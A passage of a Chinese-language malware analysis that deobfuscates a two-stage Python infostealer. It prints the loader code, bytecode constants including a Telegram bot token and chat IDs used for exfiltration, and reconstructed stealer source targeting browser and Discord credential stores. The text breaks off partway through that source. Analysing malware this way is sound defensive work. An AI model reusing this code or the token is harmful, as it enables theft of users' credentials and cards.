# socure code
這是 https://gitlab[.]com/blackhat_code/software/-/raw/main/sup02.entrypoint 的內容,因為 payload 過長就稍微刪減,簡單來說只會執行第一行,後面的函式是沒有用處的,不太確定用途,可能是混淆。
```python=
exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode("c%1Cm*|PH5ognzVzu}zY<71~YU3.....))))
def sub_WIT6SW1PKB1LB42():
var_HR7V9MOX27BI3Y = 1113090554
var_0 = 4556397943
var_T75G4PC = "2MVB3KO9KNC5JITT8"
var_5CPTN = "HGO3XVXWJV68P"
var_CGHRW7 = 1101195565
var_C = 4575195798
var_Z4XXV = "A6G4I309"
var_2IYM8Y6K7J96 = "F6DGRISR6FNS8"
var_IKF8Y90 = "M2NVR5R6BVSNMO"
var_OV9PO = 6045099441
var_4PIV6GB = "U2LPEMFESWWQY50"
var_PY6KRHXCFS0E = "N672O6WR71AXF"
var_ZZOSIH6PPP2 = 2172415156
var_F26U7X9 = 8849824626
var_0CG3UNG12 = "RPEPD5RA0C311O"
def sub_33KH1MNDWUTYD4A():
var_0LA = 6876945669
var_KAF82YU2N7 = "6KDRE8R9ZWOE"
var_NSO2SHF0JO2W1 = "9ZPDFRPUX6S"
var_29VW8 = 4443912639
var_HO4VYTY5 = "7DH1CSNNCJN4"
.......
```
# stage 1 payload
`exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode("c%1Cm*|PH5ognzVzu}zY<71~YU3.....))))`
這是主要 payload,因為有兩層,所以先叫做 stage 1。
他會直接執行 payload 內容,先將 payload 進行 base85 decode,再使用 zlib 解壓縮,最後使用 marshal 序列化將讀取的 byte object 轉換為 Python value。
在自己的環境(python 3.13)上執行,會遇到 marshal.loads 出現 `ValueError: bad marshal data (unknown type code)`
經過測試後需要使用特定版本才能執行,synaptics.exe 版本為 3.10.11
直接使用 docker 建立環境
> marshal 的格式不是跨版本穩定的:
marshal 模組主要用於 Python 自身的內部用途(例如編譯 .py 檔案為 .pyc),而不是設計用於持久化數據或在不同 Python 版本之間交換數據。
by GPT
### dockerfile
```dockerfile=
# 使用 Ubuntu 作为基础镜像
FROM ubuntu:22.04
# 更新系统并安装所需工具
RUN apt-get update && apt-get install -y --no-install-recommends \
software-properties-common \
curl \
wget \
gnupg \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
# 添加 deadsnakes PPA,用于安装特定版本的 Python
RUN add-apt-repository ppa:deadsnakes/ppa -y && apt-get update
# 安装 Python 3.10 和 pip
RUN apt-get install -y --no-install-recommends \
python3.10 \
python3.10-venv \
python3.10-distutils \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
# 创建符号链接以简化 Python 和 pip 的调用
RUN ln -s /usr/bin/python3.10 /usr/bin/python && \
curl -sS https://bootstrap.pypa.io/get-pip.py | python
# 设置工作目录(可选)
WORKDIR /app
# 进入容器时启动 bash shell
CMD ["/bin/bash"]
```
```
docker build -t ubuntu-python3.10 .
docker run -it -v .:/app -w /app ubuntu-python3.10
```
# deobfuscation
```python=
print(marshal.loads(zlib.decompress(base64.b85decode(payload))))
```
會輸出 `<code object <module> at 0x7fcfe6063890, file "<string>", line 1>`
> <code object \<module\> at 0x7fcfe6063890, file "\<string\>", line 1> 是 Python 中表示編譯後的字節碼對象 (code object) 的一種表現形式。這通常出現在執行 compile() 函數或從 marshal.loads() 加載字節碼時。
> by GPT
可以使用 dis 模組來反編譯 byte code,或是保存為 .pyc 文件然後使用工具進行反編譯,或是直接執行
## dis
```python=
code_object=marshal.loads(zlib.decompress(base64.b85decode(payload)))
with open("disassembly.txt", "w") as f:
if isinstance(code_object, type((lambda: None).__code__)):
disassembly = dis.code_info(code_object)
f.write(disassembly)
f.write("\nDisassembled bytecode:\n")
dis.dis(code_object, file=f)
else:
f.write("Decoded content is not a code object.\n")
f.write(str(code_object))
```
需要人工反編譯
## pyc
```python=
with open("output.pyc", "wb") as f:
f.write(b'\x6f\x0d\x0d\x0a') # PYC 文件的魔數
f.write(b'\x00' * 4) # 預留時間戳位
f.write(marshal.dumps(code_object))
```
存檔成 pyc 後可使用工具進行反編譯得到 source code,常見工具如下:
1. pip install decompyle3
2. pip install uncompyle6
3. snap install pycdc
decompyle3 和 uncompyle6 跑起來都會出現 `assert iscode(co), f"""{co} does not smell like code"""
AssertionError: None does not smell like code`,可能是 magic number 出錯
可對照此列表並轉換
```
# Python 3.10a1: 3430 (Make ‘annotations’ future by default)
# Python 3.10a1: 3431 (New line number table format – PEP 626)
# Python 3.10a2: 3432 (Function annotation for MAKE_FUNCTION is changed from dict to tuple bpo-42202)
# Python 3.10a2: 3433 (RERAISE restores f_lasti if oparg != 0)
# Python 3.10a6: 3434 (PEP 634: Structural Pattern Matching)
# Python 3.10a7: 3435 Use instruction offsets (as opposed to byte offsets).
# Python 3.10b1: 3436 (Add GEN_START bytecode #43683)
# Python 3.10b1: 3437 (Undo making ‘annotations’ future by default - We like to dance among core devs!)
# Python 3.10b1: 3438 Safer line number table handling.
# Python 3.10b1: 3439 (Add ROT_N)
MAGIC_NUMBER = (3425).to_bytes(2, 'little') + b'\r\n'
_RAW_MAGIC_NUMBER = int.from_bytes(MAGIC_NUMBER, 'little') # For import.c
HEX_MAGIC_NUMBER = hex(_RAW_MAGIC_NUMBER)
print(HEX_MAGIC_NUMBER)
```
然後還是找不到正確的 magic number,最後找到這篇文章 [python - How to convert Marshall code object to PYC file - Stack Overflow](https://stackoverflow.com/questions/73439775/how-to-convert-marshall-code-object-to-pyc-file),直接存檔成 pyc,就可以成功執行 output.pyc
```python=
import importlib
pyc_data = importlib._bootstrap_external._code_to_timestamp_pyc(code_object)
print(pyc_data)
with open('output.pyc', 'wb') as f:
f.write(pyc_data)
```
執行 output.pyc 看看,出現訊息及錯誤,缺少 win32crypt 模組,因為使用 ubuntu docker 環境執行,所以找不到此模組
```
root@79c4b03f21cc:/app# python output.pyc
ngu
Traceback (most recent call last):
File "<string>", line 17, in <module>
ModuleNotFoundError: No module named 'win32crypt'
```
使用 `xxd output.pyc | head` 可以看到 magic number 為 b'\x6f\x0d\x0d\x0a'
將上面的 magic number 修改後可以成功執行 pyc
嘗試執行 decompyle3 跟 uncompyle6 都出現以下資訊
```
# decompyle3 version 3.9.2
# Python bytecode version base 3.10.0 (3439)
# Decompiled from: Python 3.10.12 (main, Nov 6 2024, 20:22:13) [GCC 11.4.0]
# Embedded file name: <string>
Unsupported Python version, 3.10.0, for decompilation
# Unsupported bytecode in file output.pyc
# Unsupported Python version, 3.10.0, for decompilation
```
因為目前的 python decompiler 都只支援到 3.9,因此無法處理 3.10 的 opcode。
最後找到幾個支援 3.10 的 decompiler
1. [zrax/pycdc: C++ python bytecode disassembler and decompiler](https://github.com/zrax/pycdc)
- 需要自行編譯,或是找他人編譯好的執行檔
- [pycdc工具编译使用(纯小白篇,大师傅自动略过) - 吾爱破解 - 52pojie.cn](https://www.52pojie.cn/thread-1854345-1-1.html)
- [GitHub - extremecoders-re/decompyle-builds: Precompiled Decompyle++ (pycdc) binaries for Windows & Linux](https://github.com/extremecoders-re/decompyle-builds)
- pycdas 可以查看 dis code
3. [greyblue9/unpyc37-3.10: Minor tweaks to get this excellent Python bytecode decompiler running under Python 3.8-3.10](https://github.com/greyblue9/unpyc37-3.10)
- 可以指定要反編譯的區段
5. [PyLingual](https://pylingual.io/)
- 線上工具
- 相比上面兩種效果更好,但需要等待一段時間
- 可能會失敗,且沒有錯誤訊息可以查看
使用 unpyc.unpyc3 出現以下錯誤
```
root@79c4b03f21cc:/app/unpyc37-3.10# python3 -m unpyc.unpyc3 ../output.pyc
Traceback (most recent call last):
File "/usr/local/lib/python3.10/dist-packages/unpyc/unpyc3.py", line 2005, in run
new_addr = method(*args)
File "/usr/local/lib/python3.10/dist-packages/unpyc/unpyc3.py", line 2382, in POP_TOP
val = self.stack.pop()
File "/usr/local/lib/python3.10/dist-packages/unpyc/unpyc3.py", line 333, in pop
return self.pop1()
File "/usr/local/lib/python3.10/dist-packages/unpyc/unpyc3.py", line 327, in pop1
raise Exception('Empty stack popped!')
Exception: Empty stack popped!
Traceback (most recent call last):
File "/usr/local/lib/python3.10/dist-packages/unpyc/unpyc3.py", line 2004, in run
method = getattr(self, opname[opcode])
AttributeError: 'SuiteDecompiler' object has no attribute 'RERAISE'
try:
try:
pass
finally:
pass
finally:
pass
```
pycdc 也出現相同錯誤
```
./pycdc ../output.pyc
# Source Generated with Decompyle++
# File: output.pyc (Python 3.10)
Unsupported opcode: RERAISE (209)
# WARNING: Decompyle incomplete
```
> Python 3.10 中引入的操作碼 RERAISE 專門用於改進異常回溯的處理([PEP 626](https://peps.python.org/pep-0626/))。
> by GPT
# stage 1 source code
最後使用 PyLingual 跑了快一個小時終於跑完了
可在此查看 source code -> [output.pyc - PyLingual](https://pylingual.io/view_chimera?identifier=91562d317d0d8d53ca77274ed7c9e13fd51e76fdf0a4353df26f632a185caaeb)
```python=
try:
try:
break
except:
pass
pass
try:
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
except:
print('ngu')
finally: # inserted
int(2)
import os
import json
import base64
import sqlite3
import shutil
import requests
import glob
import re
import zipfile
import io
import datetime
import hmac
import subprocess
import zlib
from websocket import create_connection
from base64 import b64decode
from hashlib import sha1, pbkdf2_hmac
from pathlib import Path
from pyasn1.codec.der.decoder import decode
from Crypto.Cipher import AES, DES3, PKCS1_OAEP
from Crypto.PublicKey import RSA
from win32crypt import CryptUnprotectData
from ctypes import windll, byref, create_unicode_buffer, pointer, WINFUNCTYPE
from ctypes.wintypes import DWORD, WCHAR, UINT
def decompress(code_bytes: bytes) -> bytes:
return zlib.decompress(code_bytes)
def rc4(data, key):
S = list(range(256))
j = 0
out = []
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = (S[j], S[i])
i = j = 0
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = (S[j], S[i])
out.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(out)
def aes_decrypt(data, key):
nonce = data[:16]
ciphertext = data[16:]
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
return cipher.decrypt(ciphertext)
def xor(data, key):
return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])
def rsa_decrypt(data, private_key):
rsa_cipher = PKCS1_OAEP.new(RSA.import_key(private_key))
return rsa_cipher.decrypt(data)
def hybrid_decrypt(base85_encoded_data, rsa_private_key):
compressed_data = base64.b85decode(base85_encoded_data)
encrypted_data = decompress(compressed_data)
rsa_encrypted_key = encrypted_data[:256]
aes_encrypted = encrypted_data[256:]
combined_key = rsa_decrypt(rsa_encrypted_key, rsa_private_key)
rc4_key = combined_key[:16]
xor_key = combined_key[16:32]
aes_key = combined_key[32:48]
xor_encrypted = aes_decrypt(aes_encrypted, aes_key)
rc4_encrypted = xor(xor_encrypted, xor_key)
decrypted_data = rc4(rc4_encrypted, rc4_key)
return decrypted_data
private_key = base64.b64decode('# private_key payload')
def runner(byte_code_data):
import marshal
import types
code_object = marshal.loads(byte_code_data)
exceute_func = types.FunctionType(code_object, globals())
exceute_func()
code= '# stage 2 payload'
runner(code)
```

查看程式可以看到將重要部分都還原了,開頭會進行許多的 loop 以及 try,並輸出 nug 字串
輸出 payload 部分 `print(code_object)` 會出現 `<code object <module> at 0x7f3686af39f0, file "<string>", line 1>`,這是第二層 payload
一樣將這些程式重複上述動作,這個檔案就是最後的 payload 了,沒有再一層混淆
# stage2 payload
稍微修改一下程式,在 runner function 中插入下面程式碼,匯出 dis code 跟直接匯出成 pyc
```python=
with open("sup02_disassembly.txt", "w") as f:
if isinstance(code_object, type((lambda: None).__code__)):
disassembly = dis.code_info(code_object)
f.write(disassembly)
f.write("\nDisassembled bytecode:\n")
dis.dis(code_object, file=f)
else:
f.write("Decoded content is not a code object.\n")
f.write(str(code_object))
import importlib
pyc_data = importlib._bootstrap_external._code_to_timestamp_pyc(code_object)
print(pyc_data)
with open('sup02_stage2.pyc', 'wb') as f:
f.write(pyc_data)
```
後來再次嘗試使用 unpyc.unpyc3 [start [end]]
`python3 -m unpyc.unpyc3 ../stage2.pyc 9` 可以成功反編譯,出現
```
try:
try:
1/int(0)
1/int(0)
1/int(0)
.
.
.
.
.
1/int(0)
ngocuyencoder = ()
finally:
pass
finally:
pass
```
但嘗試修改 start 與 end 的參數,還是無法成功編譯其他內容,會持續輸出 1/int(0)
即使使用 PyLingual,也會在最後的 Correcting Segmentation Errors 階段遇到錯誤無法成功輸出
似乎是某種 anti-disassembly 技術?


> 後來在手工反編譯程式碼時覺得出現 `ngocuyencoder = ()` 很奇怪,主要程式都沒有出現此變數,搜尋後找到此專案 [GitHub - hngocuyen/velimatix-obfuscator: A best AST outsource obfuscation by ngocuyencoder and minhnguyen2412](https://github.com/hngocuyen/velimatix-obfuscator),為進行 python 混淆的工具
> 作者是越南人,且提到具有 Anti-Pycdc 的功能
Our obfuscation effectively counters Pycdc (PYC Decompiler). Although some have attempted to customize Pycdc to bypass our anti-measures, they have been unsuccessful. Here’s an example of typical bypass code:
> ```python
>try:
> pass
> except:
> pass
> finally:
> pass
> ```
> 無法直接判斷攻擊者是否與專案作者為同一人
這裡直接使用 dis 來查看內容,可以看到以下的常數字串
```
Constants:
0: 1
1: 0
2: 'ngu'
3: 2
4: None
5: ('create_connection',)
6: ('b64decode',)
7: ('sha1', 'pbkdf2_hmac')
8: ('Path',)
9: ('decode',)
10: ('AES', 'DES3')
11: ('CryptUnprotectData',)
12: ('windll', 'byref', 'create_unicode_buffer', 'pointer', 'WINFUNCTYPE')
13: ('DWORD', 'WCHAR', 'UINT')
14: 'LOCALAPPDATA'
15: 'APPDATA'
16: 'TEMP'
17: '\\AppData'
18: '\\'
19: 'COMPUTERNAME'
20: 'defaultValue'
21: '7688244721:AAEuVdGvEt2uIYmzQjJmSJX1JKFud9pr1XI'
22: '-1002426006531'
23: '-1002489276039'
24: '%d-%m-%Y (%H:%M:%S)'
25: 'Chromium'
26: '\\Chromium\\User Data'
27: 'Thorium'
28: '\\Thorium\\User Data'
29: 'Chrome'
30: '\\Google\\Chrome\\User Data'
31: 'Chrome (x86)'
32: '\\Google(x86)\\Chrome\\User Data'
33: 'Chrome SxS'
34: '\\Google\\Chrome SxS\\User Data'
35: 'Maple'
36: '\\MapleStudio\\ChromePlus\\User Data'
37: 'Iridium'
38: '\\Iridium\\User Data'
39: '7Star'
40: '\\7Star\\7Star\\User Data'
41: 'CentBrowser'
42: '\\CentBrowser\\User Data'
43: 'Chedot'
44: '\\Chedot\\User Data'
45: 'Vivaldi'
46: '\\Vivaldi\\User Data'
47: 'Kometa'
48: '\\Kometa\\User Data'
49: 'Elements'
50: '\\Elements Browser\\User Data'
51: 'Epic Privacy Browser'
52: '\\Epic Privacy Browser\\User Data'
53: 'Uran'
54: '\\uCozMedia\\Uran\\User Data'
55: 'Fenrir'
56: '\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer'
57: 'Catalina'
58: '\\CatalinaGroup\\Citrio\\User Data'
59: 'Coowon'
60: '\\Coowon\\Coowon\\User Data'
61: 'Liebao'
62: '\\liebao\\User Data'
63: 'QIP Surf'
64: '\\QIP Surf\\User Data'
65: 'Orbitum'
66: '\\Orbitum\\User Data'
67: 'Dragon'
68: '\\Comodo\\Dragon\\User Data'
69: '360Browser'
70: '\\360Browser\\Browser\\User Data'
71: 'Maxthon'
72: '\\Maxthon3\\User Data'
73: 'K-Melon'
74: '\\K-Melon\\User Data'
75: 'CocCoc'
76: '\\CocCoc\\Browser\\User Data'
77: 'Brave'
78: '\\BraveSoftware\\Brave-Browser\\User Data'
79: 'Amigo'
80: '\\Amigo\\User Data'
81: 'Torch'
82: '\\Torch\\User Data'
83: 'Sputnik'
84: '\\Sputnik\\Sputnik\\User Data'
85: 'Edge'
86: '\\Microsoft\\Edge\\User Data'
87: 'DCBrowser'
88: '\\DCBrowser\\User Data'
89: 'Yandex'
90: '\\Yandex\\YandexBrowser\\User Data'
91: 'UR Browser'
92: '\\UR Browser\\User Data'
93: '\\Slimjet\\User Data'
94: '\\Opera Software\\Opera Stable'
95: '\\Opera Software\\Opera GX Stable'
96: '\\Local\\360chrome\\Chrome\\User Data'
97: '\\Local\\Tencent\\QQBrowser\\User Data'
98: '\\SogouExplorer\\Webkit'
99: '\\discord'
100: '\\discordcanary'
101: '\\Lightcord'
102: '\\discordptb'
103: ('Slimjet', 'Opera', 'OperaGX', 'Speed360', 'QQBrowser', 'Sogou', 'Discord', 'Discord Canary', 'Lightcord', 'Discord PTB')
104: <code object installed_ch_dc_browsers at 0x7f3e8a631e70, file "<string>", line 81>
105: 'installed_ch_dc_browsers'
106: <code object get_ch_master_key at 0x7f3e8a631bb0, file "<string>", line 88>
107: 'get_ch_master_key'
108: <code object decrypt_ch_value at 0x7f3e8a632080, file "<string>", line 105>
109: 'decrypt_ch_value'
110: <code object decrypt_aes at 0x7f3e8a6324a0, file "<string>", line 120>
111: 'decrypt_aes'
112: <code object decrypt3DES at 0x7f3e8a632550, file "<string>", line 136>
113: 'decrypt3DES'
114: ''
115: 'directory'
116: <code object getKey at 0x7f3e8a632600, file "<string>", line 148>
117: 'getKey'
118: <code object PKCS7unpad at 0x7f3e8a6326b0, file "<string>", line 183>
119: 'PKCS7unpad'
120: <code object decodeLoginData at 0x7f3e8a632760, file "<string>", line 186>
121: 'decodeLoginData'
122: <code object Facebook at 0x7f3e8a632fa0, file "<string>", line 195>
123: 'Facebook'
124: 234
125: 'percent_complete'
126: 'return'
127: <code object callback at 0x7f3e8a633050, file "<string>", line 367>
128: 'callback'
129: 'Rstrtmgr'
130: <code object Unlock_Cookies at 0x7f3e8a633100, file "<string>", line 373>
131: 'Unlock_Cookies'
132: <code object save_gck_login_data at 0x7f3e8a6331b0, file "<string>", line 410>
133: 'save_gck_login_data'
134: <code object get_gck_basepath at 0x7f3e8a633260, file "<string>", line 441>
135: 'get_gck_basepath'
136: <code object get_gck_profiles at 0x7f3e8a6333c0, file "<string>", line 455>
137: 'get_gck_profiles'
138: <code object get_ch_login_data at 0x7f3e8a633520, file "<string>", line 469>
139: 'get_ch_login_data'
140: <code object get_ch_cookies at 0x7f3e8a633680, file "<string>", line 496>
141: 'get_ch_cookies'
142: <code object process_facebook_cookies at 0x7f3e8a633730, file "<string>", line 565>
143: 'process_facebook_cookies'
144: <code object save_gck_cookies at 0x7f3e8a6337e0, file "<string>", line 576>
145: 'save_gck_cookies'
146: <code object get_ch_ccards at 0x7f3e8a633890, file "<string>", line 626>
147: 'get_ch_ccards'
148: 'Firefox'
149: 'Pale Moon'
150: 'SeaMonkey'
151: 'Waterfox'
152: 'Mercury'
153: ('Firefox', 'Pale Moon', 'SeaMonkey', 'Waterfox', 'Mercury')
154: 'Profile*'
155: 'Default'
156: ('Opera', 'Opera GX')
157: <code object GetIP at 0x7f3e8a633940, file "<string>", line 714>
158: 'GetIP'
159: <code object Counter at 0x7f3e8a6339f0, file "<string>", line 728>
160: 'Counter'
161: '['
162: '_'
163: '] '
164: '.zip'
165: 'w'
166: 9
167: ('compresslevel',)
168: 'Time Created: '
169: '\nContact: https://t.me/Xmeta'
170: 'wb'
171: '\nUser: '
172: '\nBrowser Data: CK: '
173: '|PW: '
174: '|CC: '
175: '\n'
176: 10
177: 'rb'
178: 'https://api.telegram.org/bot'
179: '/sendDocument'
180: True
181: ('chat_id', 'caption', 'protect_content', 'disable_web_page_preview')
182: 'document'
183: ('params', 'files')
184: ('ignore_errors',)
185: (None,)
186: ('',)
```
可以直接看到一些函式與字串,如
- https://api.telegram.org/bot
- https://t.me/Xmeta
- get_ch_cookies
- /sendDocument
也得知 telegram bot api 的 token
# stage 2 deobfuscation 手動
這段是介紹如何將 python byte code 轉換成 source code,可以跳過不看
已經知道前面的部分為 try..finally 區塊,直接忽略不看
往下找到原始程式的第七行可以看到 `print('nug')`
```python
7 >> 120044 POP_TOP
120046 POP_TOP
120048 POP_TOP
120050 LOAD_NAME 2 (print)
120052 LOAD_CONST 2 ('ngu')
120054 CALL_FUNCTION 1
120056 POP_TOP
120058 POP_EXCEPT
>> 120060 POP_BLOCK
```
從第九行開始看,這是在進行 import
```python
120086 IMPORT_NAME 3 (os)
120088 STORE_NAME 3 (os)
```
表示 `import os`
```python
15 120250 LOAD_CONST 1 (0)
120252 LOAD_CONST 10 (('AES', 'DES3'))
120254 IMPORT_NAME 26 (Crypto.Cipher)
120256 IMPORT_FROM 27 (AES)
120258 STORE_NAME 27 (AES)
120260 IMPORT_FROM 28 (DES3)
120262 STORE_NAME 28 (DES3)
120264 POP_TOP
```
`from Crypto.Cipher import AES,DES3`
---
```python=
21 120342 LOAD_NAME 3 (os)
120344 LOAD_METHOD 44 (getenv)
120346 LOAD_CONST 14 ('LOCALAPPDATA')
120348 CALL_METHOD 1
120350 STORE_NAME 45 (LocalAppData)
```
CALL_METHOD 表示呼叫 os.getenv 這個函式,並傳入參數 'LOCALAPPDATA',存到變數 LocalAppData
`LocalAppData = os.getenv('LOCALAPPDATA')`
---
```python=
25 120386 LOAD_NAME 47 (TMP)
120388 FORMAT_VALUE 0
120390 LOAD_CONST 18 ('\\')
120392 LOAD_NAME 3 (os)
120394 LOAD_METHOD 44 (getenv)
120396 LOAD_CONST 19 ('COMPUTERNAME')
120398 LOAD_CONST 20 ('defaultValue')
120400 CALL_METHOD 2
120402 FORMAT_VALUE 0
120404 BUILD_STRING 3
120406 STORE_NAME 50 (Data_Path)
```
FORMAT_VALUE 0: Formats the value of TMP. The formatting flag 0 indicates no special formatting is applied.
BUILD_STRING 3: Combines three elements (the formatted TMP, '\\', and the formatted computer name) into a single string.
`Data_Path = f"{TMP}\\{os.getenv('COMPUTERNAME', 'defaultValue')}"`
---
```python=
31 120420 BUILD_LIST 0
120422 STORE_NAME 54 (browsers)
```
`browsers=[]`
---
```python=
34 120440 BUILD_MAP 0
35 120442 LOAD_CONST 25 ('Chromium')
120444 LOAD_NAME 45 (LocalAppData)
120446 FORMAT_VALUE 0
120448 LOAD_CONST 26 ('\\Chromium\\User Data')
120450 BUILD_STRING 2
34 120452 MAP_ADD 1
```
建立一個 dict 但沒給予變數名稱
要往下找 可以看到
```python=
34 120934 LOAD_CONST 103 (('Slimjet', 'Opera', 'OperaGX', 'Speed360', 'QQBrowser', 'Sogou', 'Discord', 'Discord Canary', 'Lightcord', 'Discord PTB'))
120936 BUILD_CONST_KEY_MAP 10
120938 DICT_UPDATE 1
120940 STORE_NAME 58 (ch_dc_browsers)
```
將此 dict 命名為 ch_dc_browsers
---
```python=
81 120942 LOAD_CONST 104 (<code object installed_ch_dc_browsers at 0xffffa23bcb30, file "<string>", line 81>)
120944 LOAD_CONST 105 ('installed_ch_dc_browsers')
120946 MAKE_FUNCTION 0
120948 STORE_NAME 59 (installed_ch_dc_browsers)
```
MAKE_FUNCTION 建立一個 function
`def installed_ch_dc_browsers():`
---
```python=
105 120958 LOAD_CONST 185 ((None,))
120960 LOAD_CONST 108 (<code object decrypt_ch_value at 0xffffa23bcd40, file "<string>", line 105>)
120962 LOAD_CONST 109 ('decrypt_ch_value')
120964 MAKE_FUNCTION 1 (defaults)
120966 STORE_NAME 61 (decrypt_ch_value)
```
MAKE_FUNCTION 1 表示有預設值
`def decrypt_ch_value(arg=None):`
---
```python=
195 121016 LOAD_BUILD_CLASS
121018 LOAD_CONST 122 (<code object Facebook at 0xffffa23bdd10, file "<string>", line 195>)
121020 LOAD_CONST 123 ('Facebook')
121022 MAKE_FUNCTION 0
121024 LOAD_CONST 123 ('Facebook')
121026 CALL_FUNCTION 2
121028 STORE_NAME 67 (Facebook)
```
LOAD_BUILD_CLASS 定義一個 class 叫 facebook
---
```python=
658 121152 LOAD_NAME 77 (get_gck_profiles)
121154 LOAD_NAME 76 (get_gck_basepath)
121156 LOAD_CONST 148 ('Firefox')
121158 CALL_FUNCTION 1
121160 CALL_FUNCTION 1
```
`get_gck_profiles(get_gck_basepath('Firefox'))`
---
```python=
678 121246 LOAD_NAME 92 (available_path)
121248 GET_ITER
>> 121250 FOR_ITER 101 (to 121454)
121252 STORE_NAME 93 (browser)
```
是 for loop
`for browser in available_path:`
---
```python=
679 121254 LOAD_NAME 58 (ch_dc_browsers)
121256 LOAD_NAME 93 (browser)
121258 BINARY_SUBSCR
121260 STORE_NAME 94 (browser_path)
```
` browser_path=ch_dc_browsers[browser]`
---
```python=
755 121724 SETUP_FINALLY 21 (to 121768)
756 121726 LOAD_NAME 3 (os)
121728 LOAD_ATTR 96 (path)
121730 LOAD_METHOD 97 (join)
121732 LOAD_NAME 126 (root)
121734 LOAD_NAME 129 (name)
121736 CALL_METHOD 2
121738 STORE_NAME 130 (file_path)
757 121740 LOAD_NAME 122 (zip_file)
121742 LOAD_METHOD 131 (write)
121744 LOAD_NAME 130 (file_path)
121746 LOAD_NAME 3 (os)
121748 LOAD_ATTR 96 (path)
121750 LOAD_METHOD 132 (relpath)
121752 LOAD_NAME 130 (file_path)
121754 LOAD_NAME 50 (Data_Path)
121756 CALL_METHOD 2
121758 CALL_METHOD 2
121760 POP_TOP
121762 POP_BLOCK
121764 EXTENDED_ARG 237
121766 JUMP_ABSOLUTE 60860 (to 121720)
758 >> 121768 POP_TOP
121770 POP_TOP
121772 POP_TOP
759 121774 POP_EXCEPT
121776 EXTENDED_ARG 237
121778 JUMP_ABSOLUTE 60860 (to 121720)
754 >> 121780 EXTENDED_ARG 237
121782 JUMP_ABSOLUTE 60853 (to 121706)
753 >> 121784 POP_BLOCK
750 121786 LOAD_CONST 4 (None)
121788 DUP_TOP
121790 DUP_TOP
121792 CALL_FUNCTION 3
121794 POP_TOP
121796 JUMP_FORWARD 9 (to 121816)
>> 121798 WITH_EXCEPT_START
121800 EXTENDED_ARG 237
121802 POP_JUMP_IF_TRUE 60903 (to 121806)
121804 RERAISE 1
>> 121806 POP_TOP
121808 POP_TOP
121810 POP_TOP
121812 POP_EXCEPT
121814 POP_TOP
761 >> 121816 LOAD_NAME 133 (open)
121818 LOAD_NAME 119 (archive_path)
121820 LOAD_CONST 170 ('wb')
121822 CALL_FUNCTION 2
121824 SETUP_WITH 15 (to 121856)
121826 STORE_NAME 134 (f)
```
這段有點複雜
121724 SETUP_FINALLY 建立一個 try except
for loop 如果結束會跳到 121766 JUMP_ABSOLUTE 60860 (to 121720)
121720 FOR_ITER 29 (to 121780) 是 for 迴圈
WITH_EXCEPT_START 為 except 區塊開始
如果 try 錯誤時,會跳過去 JUMP_FORWARD 9 (to 121816)
121816 LOAD_NAME 133 (open) 處理檔案
```python=
for name in files:
try:
file_path=os.path.join(root,name)
zip_file.write(file_path,os.path.relpath(file_path, Data_Path))
except Exception as e:
pass
with open(archive_path,'wb') as f:
```
---
```python=
124 96 LOAD_FAST 5 (key_length)
98 LOAD_CONST 4 (32)
100 COMPARE_OP 2 (==)
102 POP_JUMP_IF_TRUE 54 (to 108)
104 LOAD_ASSERTION_ERROR
106 RAISE_VARARGS 1
```
```python=
assert key_length == 32
```
# stage 2 source code
總之在經過八個多小時的不懈努力以及一些神奇小工具(GPT、Claude)的幫助後,成功解出大致上的 source code,某些部份可以無法直接執行,需要微調程式內容
```python=
import os, json, base64, sqlite3, shutil, requests, glob, re, zipfile, io, datetime, hmac, subprocess
from socket import create_connection
from base64 import b64decode
from hashlib import sha1, pbkdf2_hmac
from pathlib import Path
from pyasn1.codec.der.decoder import decode
from Crypto.Cipher import AES, DES3
from win32crypt import CryptUnprotectData
from ctypes import windll, byref, create_unicode_buffer, pointer, WINFUNCTYPE
from ctypes.wintypes import DWORD, WCHAR, UINT
import urllib.request
import time
LocalAppData = os.getenv("LOCALAPPDATA")
AppData = os.getenv("APPDATA")
TMP = os.getenv("TEMP")
USR = TMP.split("\\AppData")[0]
Data_Path = f"{TMP}\\{os.getenv('COMPUTERNAME', 'defaultValue')}"
TOKEN_BOT='7688244721:AAEuVdGvEt2uIYmzQjJmSJX1JKFud9pr1XI'
CHAT_ID_NEW='-1002426006531'
CHAT_ID_RESET='-1002489276039'
browsers=[]
creation_datetime = datetime.datetime.now().strftime('%d-%m-%Y (%H:%M:%S)')
ch_dc_browsers = {
"Chromium": f"{LocalAppData}\\Chromium\\User Data",
"Thorium": f"{LocalAppData}\\Thorium\\User Data",
"Chrome": f"{LocalAppData}\\Google\\Chrome\\User Data",
"Chrome (x86)": f"{LocalAppData}\\Google(x86)\\Chrome\\User Data",
"Chrome SxS": f"{LocalAppData}\\Google\\Chrome SxS\\User Data",
"Maple": f"{LocalAppData}\\MapleStudio\\ChromePlus\\User Data",
"Iridium": f"{LocalAppData}\\Iridium\\User Data",
"7Star": f"{LocalAppData}\\7Star\\7Star\\User Data",
"CentBrowser": f"{LocalAppData}\\CentBrowser\\User Data",
"Chedot": f"{LocalAppData}\\Chedot\\User Data",
"Vivaldi": f"{LocalAppData}\\Vivaldi\\User Data",
"Kometa": f"{LocalAppData}\\Kometa\\User Data",
"Elements": f"{LocalAppData}\\Elements Browser\\User Data",
"Epic Privacy Browser": f"{LocalAppData}\\Epic Privacy Browser\\User Data",
"Uran": f"{LocalAppData}\\uCozMedia\\Uran\\User Data",
"Fenrir": f"{LocalAppData}\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer",
"Catalina": f"{LocalAppData}\\CatalinaGroup\\Citrio\\User Data",
"Coowon": f"{LocalAppData}\\Coowon\\Coowon\\User Data",
"Liebao": f"{LocalAppData}\\liebao\\User Data",
"QIP Surf": f"{LocalAppData}\\QIP Surf\\User Data",
"Orbitum": f"{LocalAppData}\\Orbitum\\User Data",
"Dragon": f"{LocalAppData}\\Comodo\\Dragon\\User Data",
"360Browser": f"{LocalAppData}\\360Browser\\Browser\\User Data",
